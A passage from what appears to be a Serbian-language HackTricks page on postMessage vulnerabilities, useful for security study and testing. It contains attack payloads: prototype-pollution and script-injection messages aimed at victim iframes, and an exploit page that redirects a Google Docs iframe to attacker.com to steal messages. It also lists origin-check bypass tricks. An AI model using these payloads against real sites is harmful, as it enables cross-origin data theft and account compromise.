.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage ranjivosti
PostMessage ranjivosti
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pošalji PostMessage
PostMessage koristi sledeću funkciju za slanje poruke:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Napomena da targetOrigin može biti '*' ili URL kao što je https://company.com.
U drugom scenariju, poruka se može poslati samo na tu domenu (čak i ako je poreklo objekta prozora drugačije).
Ako se koristi zvezdica, poruke mogu biti poslate na bilo koju domenu, i biće poslate na poreklo objekta prozora.
Napad na iframe i zvezdicu u targetOrigin
Kao što je objašnjeno u ovom izveštaju, ako pronađete stranicu koja može biti iframed (bez zaštite X-Frame-Header
) i koja šalje osetljive poruke putem postMessage koristeći zvezdicu (*), možete izmeniti poreklo iframe-a i procuriti osetljivu poruku na domen koji kontrolišete.
Napomena da ako se stranica može iframovati, ali je targetOrigin postavljen na URL, a ne na zvezdicu, ovaj trik neće funkcionisati.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
Iskorišćavanje funkcije addEventListener
addEventListener
je funkcija koju JS koristi za deklarisanje funkcije koja očekuje postMessages
.
Koristiće se sličan kod kao što je prikazan ispod:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
U ovom slučaju, prva stvar koju kod radi je provera porekla. Ovo je izuzetno važno, posebno ako stranica treba da izvrši nešto osetljivo sa primljenim informacijama (kao što je promena lozinke). Ako ne proverava poreklo, napadači mogu naterati žrtve da šalju proizvoljne podatke na ove endpointe i promeniti lozinke žrtava (u ovom primeru).
Enumeracija
Da biste pronašli slušače događaja na trenutnoj stranici, možete:
- Pretražite JS kod za
window.addEventListener
i$(window).on
(JQuery verzija) - Izvršite u konzoli alata za razvoj:
getEventListeners(window)
- Idite na Elements --> Event Listeners u alatima za razvoj pregledača
- Koristite dodatak za pregledač kao što je https://github.com/benso-io/posta ili https://github.com/fransr/postMessage-tracker. Ovi dodaci za pregledač će presresti sve poruke i prikazati ih vama.
Bypass provere porekla
-
Atribut
event.isTrusted
se smatra sigurnim jer vraćaTrue
samo za događaje koji su generisani od strane stvarnih korisničkih akcija. Iako je izazovno zaobići ga ako je pravilno implementiran, njegov značaj u sigurnosnim proverama je primetan. -
Upotreba
indexOf()
za proveru porekla u PostMessage događajima može biti podložna zaobilaženju. Primer koji ilustruje ovu ranjivost je:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- Metoda
search()
izString.prototype.search()
je namenjena za regularne izraze, a ne za stringove. Prosleđivanje bilo čega osim regularnog izraza dovodi do implicitne konverzije u regex, čime se metoda potencijalno čini nesigurnom. To je zato što u regex-u tačka (.) deluje kao džoker, omogućavajući zaobilaženje provere sa posebno oblikovanim domenima. Na primer:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
Funkcija
match()
, slično kaosearch()
, obrađuje regex. Ako je regex nepravilno struktuiran, može biti podložan zaobilaženju. -
Funkcija
escapeHtml
je namenjena za sanitizaciju unosa putem izbegavanja karaktera. Međutim, ona ne stvara novi objekat sa izbegnutim karakterima, već prebrisuje postojeće osobine objekta. Ovo ponašanje može biti iskorišćeno. Konkretno, ako se objekat može manipulisati tako da njegova kontrolisana osobina ne priznajehasOwnProperty
,escapeHtml
neće raditi kako se očekuje. Ovo je prikazano u sledećim primerima: -
Očekivani neuspeh:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
- Zaobilaženje izbegavanja:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
U kontekstu ove ranjivosti, objekat File
je posebno podložan iskorišćavanju zbog svoje samo-čitajuće osobine name
. Ova osobina, kada se koristi u šablonima, nije sanitizovana funkcijom escapeHtml
, što može dovesti do potencijalnih sigurnosnih rizika.
- Svojstvo
document.domain
u JavaScript-u može biti postavljeno od strane skripte kako bi se skratila domena, što omogućava opušteniju primenu politike istog porekla unutar iste nadređene domene.
Bypass e.origin == window.origin
Prilikom ugrađivanja veb stranice unutar sandbox iframe-a koristeći %%%